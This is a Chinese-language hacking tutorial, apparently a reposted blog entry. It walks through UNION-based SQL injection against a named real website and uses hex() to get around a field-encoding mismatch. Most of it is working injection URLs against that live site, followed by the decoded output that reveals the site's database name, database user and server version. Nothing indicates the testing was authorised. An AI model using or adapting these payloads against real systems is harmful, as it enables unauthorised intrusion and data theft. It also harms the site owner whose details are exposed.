[实例] 简单搞定联合查询注入字段间编码不同无法显示内容问题

作者:YoCo Smart
来自:习科信息技术 Silic Group
http://blackbap.org
注入的时候往往能碰到这样一种情况:有显示位,但是无法显示内容,甚至连database()都无法显示。今天找到一个绝好的例子来讲这样的一种情况。
注入点:http://www.tkfd.or.jp/research/theme/index.php?id=1
导致这种情况出现的原因是当union联合起两个字段的时候,字段之间的编码不同,导致执行失败而无法显示。解决这种问题的方法很简单,就是用hex()来解决。
根据猜解,这个注入点的字段数为7,这样的话,我们就构造注入语句如下:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/*
虽然有7个字段,但是并不是7个字段都有显示,只有6号位置能显示内容。如图:



首先测试一下,看一下数据库名称:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,database(),7/*
但是系统显示执行失败了:



既然显示位能显示6但是却不能显示database()那说明问题八成是出在字段编码格式上面。
很简单的解决方法,使用hex()将原本要查询的内容括起来再执行就可以了,然后将得到的东西格式手动转换一下格式。
这样最后的查询语句就是:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),7/*



得到的回显如下:
73716C5F64625F66752E6D79382E73756974652E6A70406463362E65746975732E6A705F342E312E31322D6C6F67
格式转换一下就是:
ql_db__fu.my8.suite.jp@dc6.etius.jp__4.1.12-log
注*前面查询语句里的0x5f就是最终回显里的两个下划线“__”
很容易就得到如下信息,
当前数据库名称为:ql_db
当前数据库用户:fu.my8.suite.jp@dc6.etius.jp
数据库版本:4.1.12-log
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值